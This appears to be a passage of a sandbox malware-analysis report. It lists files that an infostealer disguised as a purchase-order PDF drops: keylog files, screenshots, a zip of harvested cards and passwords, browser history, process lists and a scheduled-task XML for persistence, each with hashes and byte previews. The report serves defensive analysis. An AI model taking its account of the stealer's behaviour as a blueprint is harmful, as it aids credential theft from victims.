Size (bytes):	50840
Entropy (8bit):	7.600790828813849
Encrypted:	false
SSDEEP:	1536:zwg6BsFilmjE/QZMx4ZFt6INuUe8McsfQQ:WBV/3+FtBURcsff
MD5:	4511070C232892C561190E0467E55ACE
SHA1:	701822C471AB83120BC80B94CEC1B89384910427
SHA-256:	B42E793D11CB0602DEAAB736237CCBC2E11CE91E32B5CD737DC88371C5717A9F
SHA-512:	A283F22C2F34EC561EA5CDB05FBF035023274646322663E1CB0F8259E47798AE75490D655A195DF45EE94A737EC82618378217E8BF3CC78CBA83C4823E75F83E
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...-IDATx^.....YY'..}"n..q#......9.F.[.....m'l.P.......T ....C3........b..S. cAQ.s1.@1..{...g.'W..{......E..}...!.....]p....t.g.z...t.g.v.[\|....\..wZ.->...g.u...J..W.../.o.....o.^..h5{.b.8.]V..zp..[...r...y?.3./...z>.v.{^...{.......yn./.......e.q..n.g.y....%.._.2.k.1......^.A.......X....R.<..c.k...hNh...\|...../...........g0q.8..5..k....TS...7..R.....Y;^...\|.m..g..._/M.<..=.....4.....Y.?7>g.sw.4.?.....2......->g.;.,.\|.~.......f.o...>...C[~/...]4...X....!..?.......y..._r.......M:..>......'..ks...A.<F..=o...0..Yd........\|.m.......5{./.....{O=(+.AvO.._o.S....NY._.......<....sf..Hy.....J...{>{.gm....N..;.._...M9...{h.{^.....w.&.W...#...;.,.{.....d.....;fo..<0G\|.w.V8R.<8e../..._$.......y0.R.....a>..'.I<..J-.).n.r...)....,...._D..8...HY......5......%..g$..QfY..~B9v.......(...W.;(..'.....{.N..... .....7..d..o.,./.O}._...{L.h....~z.:..{@.=.z..l.1.

C:\Users\user\AppData\Local\Temp\2023-02-21-08-51-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.296675721847976
Encrypted:	false
SSDEEP:	3:yIeDKAfBReY4v:yI8TBReVv
MD5:	7EA9126A9ABB4F639987F7313BD32FC6
SHA1:	6CE129840FA55D6CADEEF1201CD1168F24D8B83E
SHA-256:	CE9D3DE2A88592D87DF846D1B565276D985FFE11DC86D24C71DDC04725E8DA73
SHA-512:	9489C79B1B2F6C940456183A1B505013FBB7A479A639BCD3F3726F0F9D39D23718AA0F48B9B46E177BBBD39EE85732A07B97C334E86DEFC61284C996A31B916F
Malicious:	false
Preview:	.[ Program Manager - 2/21/2023 8:51:59 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-55-04-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51102
Entropy (8bit):	7.610641224895922
Encrypted:	false
SSDEEP:	768:hYbfuIttOr02cSn8TYraNzbd3Uv+vM66DcrEaHi9Y2M7MvB2MHjgfa98Gt0:hfIttEff8MmfZYN6ae7KXM7mNHsff
MD5:	8C52A31C0BB7EABAC0FF38E294DEB099
SHA1:	F9965DF9807FC0CBBCA0C61CD0012B4C9F1C31E2
SHA-256:	52FD76442DDF18235253A777447EBF93BD6AB0CB421541C9FD48F14CB0C2963D
SHA-512:	81A16EF6C9B0132D0764DA8AD7DFC27D8318457AD436DA0C790D26AFB013FE7025397B4D357BB2783F6675874EADA8D9F544FBE3BE5DF2C39811432BEF92131F
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...3IDATx^....uYY'..}.8....3F.>m...{..;.m .BQU....,...1g-P....mhT$.S.....T.4........P.T....{?.}..s.7..}.......s.......[...../..../Z..n:]..7..&.q.en.3.\|..r.......]..\.......".n..hw..%.....g5..c.f=........_....u.\|..D>........y...}>..fK>....Y,/.?....+...Q..s..o~........:....m..7..E..7q-5.s,.?V..r.......}.O..._\|j......y..?...L./..xM.i....;....8..}..{s..saK6..../.v.y..l=r..K.:.A.....[k....J.[..n\|....Q...pc..3.,k...`n...f.....3.m..1.yc...<...v.\t..x....~-.\|.../........y...s.x.......&..?.._~.\|..%...s...~.<F.....y}....-..Z...{~.X..ve.......K..@... .O.._o.S....e9~y..{.Z>...=&g4.9{>F....t.8V.......c<k[d..w.?P.{..~..c.?..?..Qk.q.l.g.^.Ar...t.w.#.....=.....u..u..;..}s..z7..#...S.....).E..........(..Z....i}2...j......,.?...Q..../.E....zo......q.......wD.....3.,....P.]..?.,...#...........e...y/:Pz..e.3.......T2...@Y._.....ea...........u.7v..z..~..c.?..

C:\Users\user\AppData\Local\Temp\2023-02-21-08-55-59-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51519
Entropy (8bit):	7.611284088600962
Encrypted:	false
SSDEEP:	768:+ENhnRpYnGcID4w9zW0zKwA0CX9BzmjHkvk/7MqofKycftVRyLfRPgObXRH:9ncGcIdzKxvzmjHkvkxxtXyTRIG
MD5:	6524FACBB696BDDA99680B4F906B486B
SHA1:	F42EB505C591AF653FD71B3234638F5B8298DEAE
SHA-256:	0E838CBBF7BFE2CF0C90F7A1D4FA37FC8916A5E4D2879F3D33CDC9BCD60A21B2
SHA-512:	B0C9D98CF94ED22CF2B62DF9CF2F1C686DBE4996A9B196002BF3B798AA6638AA578A523D9A5ACD738E68E01F7FA3AC9363654381AEF6365FEB3AE048C800DE2A
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....uYY.z..c.q3.o...h.I4.....(..4E).#Qi%..(....vH.5.%.% .]l.J.FP...I."}WPtU@IQ.PP.....~.y..s...........Zk..j.....>..{..O..2.z..w.9........K...7r.O........u#...U....G.\|....]...x....q.;o.......Z......O[....v.....y.,.}>..wG>.s........_.....X.././..7.8.o..:W.].!s.O9.u.k;(...4.o.).\.w.ZjV.X2?V..j.S.)...}..f......9.....s.....0q.8..5..k....LS..7.1R......:^...}......z...&u..=.....4_..*.".o\|....(i~~.....e....[}..g.E......Lq..o,~....6g...>?...3.>..3.p#.\|..............g..D..o...5.\.......3.x/....>?.J.1Zd..-...V.h.......=...._.......Y.}.\|-:Tz_S...{.....7..d...PY._..5\|#...sz..9.-.......t.8Q...l...c.h[f..w.?T.z..~....?..?..Qk.q.l.g.^.ar...t.^.w.#.....=.....u..w..;...s..z7[.#...S.....).E...~..5..q.....9....d:.'.A..?...Y...9.......s_..(..$...+[..7.u...........9I.g.E....RN\..?.....O..7.+.....S...K.k....zP6..>......$.....j......Y..z..9.y^..K.^Gzc..~..

C:\Users\user\AppData\Local\Temp\2023-02-21-08-55-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.702471512219747
Encrypted:	false
SSDEEP:	3:yQTfF9FCv:yQTF9a
MD5:	0F068326C24143E29A8F73C44F39D62F
SHA1:	B7EB92DD5417DB05EE252B0A9E8BBEBEC9929754
SHA-256:	5ED144C749512510AC9E502C7955658DDA338EFE8FD71462B527B2D37D728091
SHA-512:	EC2E5DDDA5FC8807C51273BA41670C1A6D008756B2D96210BBF0327D926C44D83E17D304E992122DBAFCE1F12E654288B1CC792B22873A393E12AA7E9E28B204
Malicious:	false
Preview:	.[ - 2/21/2023 8:55:04 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-56-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.0060710131011685
Encrypted:	false
SSDEEP:	3:y5eBXwfG4Q8n:y5ehCx
MD5:	D2AD12BA312D699C992AEA65749A2EC8
SHA1:	9984DE557E7E7A67C60873468287019F3F1D5C36
SHA-256:	64D47E49DC40739AA2886B204EE3B19C14E2D0FC56FF7E38531BDEB806E67051
SHA-512:	A40CFC695E7EA1FAF4EF60C4C67DFAE38019D50CD1FAF52842E38E7B173424F55262B2C3722780F9CB3419FF9B374CE0B487F70382168997F37072933D29A209
Malicious:	false
Preview:	.[ main - 2/21/2023 8:56:55 AM ].

C:\Users\user\AppData\Local\Temp\CH_35A22CC8A7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\Zip.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	46710
Entropy (8bit):	7.982308406424895
Encrypted:	false
SSDEEP:	768:VepHPW8fBPz8VYmSND7VoE8gdRLqAjGMuO6tN8/iGcJTKptYAkDP:VKvWuL8V1U37ddy5O6tNaKBKptYAkDP
MD5:	AE8F26914351B7120658DE769878D83A
SHA1:	7A3B2DA43990A2DBD7CF811E02EA5D54325A98E6
SHA-256:	84BEC632789BC115FA7AC9A4B803FB76F80CEC180ACEAA0CB765E420D952FAE3
SHA-512:	36C67F1B2D42117F9F3944585356E4FCB57C0F06C9E898FF506A75DF3A910D188A49A0CC6EBD5463FED5EF190EB3CA31ADCA2C53E69801E679C1DAACE79A80A1
Malicious:	false
Preview:	PK.........8UV................Cards.txtPK.........8UV.U0.....L.......info.txt..=O.0..wK..7&.i...D....."..`5o...^.F..c.......%..#.PL....'VA...F.....'v..^.m..1.Q..bm..U.....3.X.;.4(c".;KR...w.....$...cJ.U:CY?c..s.b.-r..?...s<"9....g..n#.......d\O.6#B;o.....hC..j2..x.U....~U..PK.........8UV................Passwords.txtPK.........8UV.9......=2......ProgramList.txt.[.r.6..g&.=.s.C..o.O...Dc.i....h(B.I.y..r....5......):1YZ.....!.....`w....XEa.t.^.3...../b.....3....'o.I........N.u\|R.:I.,.c9AGa&.?..@.S.}"....>:U...f..t."..FOeZ..1..yj....oT.....=+.g.LNT..5.p.K.s-.].....a.c...A^...M.,...<.}....c.`.v....`A.............1.4Mt.:. .z.N.k.v..a...~.Z..d....lB......\|>).@......-..!...J[<...g... .....^I.u..cb.g.".....`.aD\|M?.D....q....%.....R.....t.T.....=..-2.QnT..V..6...X...\|..qE.w..{.C..ooG..H..=B...q...$ .v.V.....9 .......\|.....I}....#......2...C.^..VIVC.....T....M....r.C.j......}pP ...k.z..}./~..J......V...+.....WJ.......j. 3!...a&.}.Y..jw...HNm.^^...

C:\Users\user\AppData\Local\Temp\CH_35A22CC8A7\Browsers\Chrome_History.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1909
Entropy (8bit):	4.4559535085350594
Encrypted:	false
SSDEEP:	48:Lcm1FZ6m3Zwm3MmqMVab+tcGanxcg0H1gkF:LV9zJB3Fqwab+yGanOx
MD5:	D12C8256E9D87674743668B4D9DFEA85
SHA1:	BE1D8A9FA0E105320D5B64820F61974AA1DC2EC7
SHA-256:	0652DE95822751B8887B930740FABF5B17687F7C68D068DFA27E16302341FAA9
SHA-512:	562C5EC5BAF61A66EE87FFFFDC9988F49432C27EDE2CB2238814483485EB57EA5B7D4F4EAADD84B3493AC31690FE594B8F98D318AE102AF5F278DC27C73FB852
Malicious:	false
Preview:	-----------------------------------------..URL : https://support.google.com/installer/?product={8A69D345-D564-463c-AFF1-A69D9E530F96}&error=0x80040707..Title : Fix problems installing Chrome - Google Chrome Help..-----------------------------------------..-----------------------------------------..URL : https://support.google.com/chrome/answer/6315198?product={8A69D345-D564-463c-AFF1-A69D9E530F96}&error=0x80040707&visit_id=637962485686793996-3320600880&rd=1..Title : Fix problems installing Chrome - Google Chrome Help..-----------------------------------------..-----------------------------------------..URL : https://support.google.com/chrome?p=update_error..Title : Fix Chrome update problems & failed updates - Google Chrome Help..-----------------------------------------..-----------------------------------------..URL : https://support.google.com/chrome/answer/111996?visit_id=637962485686793996-3320600880&p=update_error&rd=1..Title : Fix Chrome update problems & failed updates - Google

C:\Users\user\AppData\Local\Temp\CH_35A22CC8A7\Files\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\Temp\CH_35A22CC8A7\ProgramList.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	12861
Entropy (8bit):	5.146432365744317
Encrypted:	false
SSDEEP:	96:xwI1IzJ0Npt0KY0DpaS0dVSWI8VIu5fKM0Aoc9OGObO0OROZO99OXcgc0cAO7cDk:aq0R0zU/QVWB
MD5:	8EE4E55FCF30BE8A76950F6F520204F6
SHA1:	46F5E3DB3B5E93699735411382E396AA7365BE9D
SHA-256:	970BD559D3828648528EF99AFC845069153123289C9A20E3B6E57EA4BF2CFC6C
SHA-512:	7679C52085223EE619EF85F4249EF2F55B802C6390181104816C6CFCC6F0F421210E6E6D2609324740158726522FF2A5A1B9B16A7ECDDF01A74D528B7638BD8D
Malicious:	false
Preview:	Application Name : Google.Chrome....Version : 104.0.5112.81....Installed Date . 20220816....Application Name: Microsoft Office Professional Plus 2016....Application Name: Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501....Application Name : Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005....Version : 12.0.21005....Installed Date . 20190627....Application Name : Microsoft Visual C++ 2010 x86 Redistributable - 10.0.30319....Version : 10.0.30319....Installed Date . 20190627....Application Name : Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702....Version : 14.21.27702....Installed Date . 20190627....Application Name : Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702....Version : 14.21.27702....Installed Date . 20190627....Application Name : Java 8 Update 211....Version : 8.0.2110.12....Installed Date . 20190627....Application Name: Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030....Application Name: Microsoft Visu

C:\Users\user\AppData\Local\Temp\CH_35A22CC8A7\ProsessList.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2588
Entropy (8bit):	4.676546966528244
Encrypted:	false
SSDEEP:	12:mk8MOrqqqLNRqc3vlqqaqOqsNOqqqLk8MLGcdgNqqEvy/CMO8MqLvGMBdgDqq4zO:h8rxD0bhibUOBiDXj6vW/T/X
MD5:	7FBFBE6C346ABA09227B9BCF7FD9E4D0
SHA1:	C6409358A7B298F2FD8855F0D9AF528B7178B656
SHA-256:	262860C8B3472E6AE0419A5F2E9C8DA3F14E744B74D656F6BD2695F72DAFD699
SHA-512:	BCFB86BC429F642CC99DD832B68AD09FDBC08AE1652331D2624F5BDB463ACB29DE14136ACC98F52C5183386DC6A7D294295AF1C9F2A450F5986458467AAB8400
Malicious:	false
Preview:	Name : YslIpXORHGqoCqgxveXeKaxymXrplK....Name : RuntimeBroker....Name : svchost....Name : chrome....Name : services....Name : chrome....Name : svchost....Name : svchost....Name : svchost....Name : YslIpXORHGqoCqgxveXeKaxymXrplK....Name : sihost....Name : svchost....Name : svchost....Name : winlogon....Name : svchost....Name : dwm....Name : svchost....Name : dllhost....Name : svchost....Name : svchost....Name : svchost....Name : ShellExperienceHost....Name : svchost....Name : chrome....Name : svchost....Name : Registry....Name : svchost....Name : chrome....Name : svchost....Name : svchost....Name : svchost....Name : YslIpXORHGqoCqgxveXeKaxymXrplK....Name : RuntimeBroker....Name : svchost....Name : YslIpXORHGqoCqgxveXeKaxymXrplK....Name : svchost....Name : asGTRKuvQ....Name : svchost....Name : svchost....Name : svchost....Name : SearchUI....Name : YslIpXORHGqoCqgxveXeKaxymXrplK....Name : YslIpXORHGqoCqgxveXeKaxymXrplK....Name : chrome....Name : HxTsr....Name : RuntimeBroker....Name : svc

C:\Users\user\AppData\Local\Temp\CH_35A22CC8A7\Screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50840
Entropy (8bit):	7.600790828813849
Encrypted:	false
SSDEEP:	1536:zwg6BsFilmjE/QZMx4ZFt6INuUe8McsfQQ:WBV/3+FtBURcsff
MD5:	4511070C232892C561190E0467E55ACE
SHA1:	701822C471AB83120BC80B94CEC1B89384910427
SHA-256:	B42E793D11CB0602DEAAB736237CCBC2E11CE91E32B5CD737DC88371C5717A9F
SHA-512:	A283F22C2F34EC561EA5CDB05FBF035023274646322663E1CB0F8259E47798AE75490D655A195DF45EE94A737EC82618378217E8BF3CC78CBA83C4823E75F83E
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...-IDATx^.....YY'..}"n..q#......9.F.[.....m'l.P.......T ....C3........b..S. cAQ.s1.@1..{...g.'W..{......E..}...!.....]p....t.g.z...t.g.v.[\|....\..wZ.->...g.u...J..W.../.o.....o.^..h5{.b.8.]V..zp..[...r...y?.3./...z>.v.{^...{.......yn./.......e.q..n.g.y....%.._.2.k.1......^.A.......X....R.<..c.k...hNh...\|...../...........g0q.8..5..k....TS...7..R.....Y;^...\|.m..g..._/M.<..=.....4.....Y.?7>g.sw.4.?.....2......->g.;.,.\|.~.......f.o...>...C[~/...]4...X....!..?.......y..._r.......M:..>......'..ks...A.<F..=o...0..Yd........\|.m.......5{./.....{O=(+.AvO.._o.S....NY._.......<....sf..Hy.....J...{>{.gm....N..;.._...M9...{h.{^.....w.&.W...#...;.,.{.....d.....;fo..<0G\|.w.V8R.<8e../..._$.......y0.R.....a>..'.I<..J-.).n.r...)....,...._D..8...HY......5......%..g$..QfY..~B9v.......(...W.;(..'.....{.N..... .....7..d..o.,./.O}._...{L.h....~z.:..{@.=.z..l.1.

C:\Users\user\AppData\Local\Temp\CH_35A22CC8A7\info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	332
Entropy (8bit):	4.563663246080605
Encrypted:	false
SSDEEP:	6:9lnqX9CF2Rpj1hx0+A7JRXWQuGsLf15Ro1WcEuo8T:fsgIpxXKRXWQzsLN5RJcfV
MD5:	BCB52A49C0E138BCCC90DEFF6DF1D850
SHA1:	C653E8A6E4928CF16BABB6830F66B06498336647
SHA-256:	D172FFEB030402643A2C24E50E37ABCE9F5EA6D6BB729FAC1C16E19A0D7860F8
SHA-512:	2A4A905CEB813B37971ABE7615FF9959727AD0D2B6722817C6DAAB18F1AC7A2E2FB8745A08F72D31594E0048B1B709824EB5808B016E08ED2B27FDED6092F1E8
Malicious:	false
Preview:	PC Name : 813848..Operating System : Microsoft Windows 10 Pro..Anti virus : Windows Defender..Firewall : None..Processor : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..Memory (RAM) : 8.00 GB..-----------------------------------------------------------------------..-------------Developed By th3darkly [ https://gomorrah.pw ]-------------

C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	407776
Entropy (8bit):	6.080910017085125
Encrypted:	false
SSDEEP:	6144:/+BWmtpZQYS2PjCLfjSCpkALDUbr0tJ0nzbWk:WPw2PjCLe3a6Q70zbR
MD5:	F75FE8D06448D07720D5456F2A327F08
SHA1:	DBA5D60848A7C24CE837225709D9E23690BB5CB3
SHA-256:	977998AEC486395EABA6CE5661648425A1A181CE18C2C87C6288AF62B87D5ECA
SHA-512:	EB05696F92881A698B7DEF0F8852286212A5EB235A2FF8A41460DEDBC6AE1964BFBEF613D3BEC736DF66525BF6E5A6C95FF5E0A71C904FA70B5C6675E2275A34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: DHL #109#.exe, Detection: malicious, Browse Filename: 5VXh2VBmA0.exe, Detection: malicious, Browse Filename: nwY3YpWQVx.exe, Detection: malicious, Browse Filename: 5SUx8Md4kq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NicDx0BvqP.exe, Detection: malicious, Browse Filename: ngyoL1siem.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.ShellCode.69.5295.22971.rtf, Detection: malicious, Browse Filename: AvtoKomander_Installer.msi, Detection: malicious, Browse Filename: VFMPwzPWjM.exe, Detection: malicious, Browse Filename: CpLGtq4jBl.exe, Detection: malicious, Browse Filename: CpLGtq4jBl.exe, Detection: malicious, Browse Filename: 5Qg0FFYoQd.exe, Detection: malicious, Browse Filename: IBK_Minervasoft.exe, Detection: malicious, Browse Filename: PO BNB Trends.exe, Detection: malicious, Browse Filename: Bm6U0Vj6pa.exe, Detection: malicious, Browse Filename: NEW REQUIREMENT..xlsx, Detection: malicious, Browse Filename: kKEMJQNDL.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:Q.P...........!..................... ... ....... .......................`............@.................................\...O.... ..0................>...@......$................................................ ............... ..H............text........ ...................... ..`.rsrc...0.... ......................@..@.reloc.......@......................@..B........................H.......`e..............c..X...P .......................................R..p..4j../ux..;....B.6z.R...K.KT....i.r.p>.m~.p.?YQ.~16~v....J.h.}..k.......&...E....p..Ix..t;.uT7Ph..(.Rv:...y..qp...dX3...bu..{...."..}....V.(i.....(......}....2.{....oj...2.{....ok...B..(....&..(.......0...........oj........YE....{...............{...f...............f.......A...A...A...A...1...A...V...8<....t......{.....om...ol....or.....+U..om.....{.....o....oj...on.....o....o{...t.....o....o}.

C:\Users\user\AppData\Local\Temp\Zip.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.043221621336474
Encrypted:	false
SSDEEP:	384:efG95w+2ykc8OAJ60Lk24jXPlfa3XEV/5bIFfYpB3:RY+6c8Oc642XPr3
MD5:	3AFD64484A2A34FC34D1155747DD3847
SHA1:	451E1D878179F6FCFBAF9FA79D9EE8207489748F
SHA-256:	BF78263914C6D3F84F825504536338FADD15868D788BF30D30613CA27ABEB7A9
SHA-512:	D21A519C8867D569E56AC5C93CE861A72F6853E3A959467BF8E8779664F99B5E8BE76AD27E078935191C798AEA05891960E01D9A0D52E2A33D34EC5A58C00448
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....eb.................D...6.......c... ........@.. ....................................`..................................b..W........1........................................................................... ............... ..H............text...$C... ...D.................. ..`.sdata..8............H..............@....rsrc....1.......2...J..............@..@.reloc...............\|..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1336832
Entropy (8bit):	7.2786310892048665
Encrypted:	false
SSDEEP:	24576:6/TsIBMNjnNNOhAe/S0dj1FSQNBsYIzK1scPq+kq7oBAOFtlrQ8EA:ok+qcPqVCoBAqtlr/EA
MD5:	8BF528E76290091A786846C8F8FFBCF5
SHA1:	F917F40439D53BDA58F7C7D28A084E3179A03E3C
SHA-256:	263E0560CEC4614F45399790A81A6B5C3E824C17CB1D1267398455D56D2A2026
SHA-512:	9483A24E0DA27BCA8E84DD86A934D7F46E36128D7C17AB4D1D98F2853CC483A7EB5929D4E8705AABE784993D2B3DA54A742C7EEA717B5640FFD7009A620C4B3D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..c..............P.............>.... ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text...D.... ...................... ..`.rsrc... ...........................@..@.reloc...............d..............@..B................ .......H...................y...p...UX...........................................0..>.......(D...8.....(.... .....:....& ....8....8........E........8......&~..........~......0..;.......(....8......(.... .....:....&8....8........E........8........(D...&~..........~......0..........8........E....4.......s...I...8/...s.........84...s......... .....:....& ....8....s......... ....8....s......... .....9....& ....8....(D...8....s......... .....:c...& ....8X.......0..K.......81......

C:\Users\user\AppData\Local\Temp\tmp23A0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.1899247232712975
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBttn:cbh47TlNQ//rydbz9I3YODOLNdq3x
MD5:	B2A29FD9F52628C14612164235DF8120
SHA1:	8F695D4A811E348F5A5569D7C4D8185776758BE7
SHA-256:	C90D76F22172A29DCE6F2ECEF7663139417BB8EFE15E0ED4B802A6B1F5A96117
SHA-512:	132F31A747E12BDE20C1530002BB601459764A49F28B1685E854A68F41324DD6F7F468E6F2BBB5B3F50E74E46FEE08366108FE5C33451ABC9AA793254A0AF0C4
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\tmp4EA3.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\asGTRKuvQ.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.1899247232712975
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBttn:cbh47TlNQ//rydbz9I3YODOLNdq3x
MD5:	B2A29FD9F52628C14612164235DF8120
SHA1:	8F695D4A811E348F5A5569D7C4D8185776758BE7
SHA-256:	C90D76F22172A29DCE6F2ECEF7663139417BB8EFE15E0ED4B802A6B1F5A96117
SHA-512:	132F31A747E12BDE20C1530002BB601459764A49F28B1685E854A68F41324DD6F7F468E6F2BBB5B3F50E74E46FEE08366108FE5C33451ABC9AA793254A0AF0C4
Malicious:	false
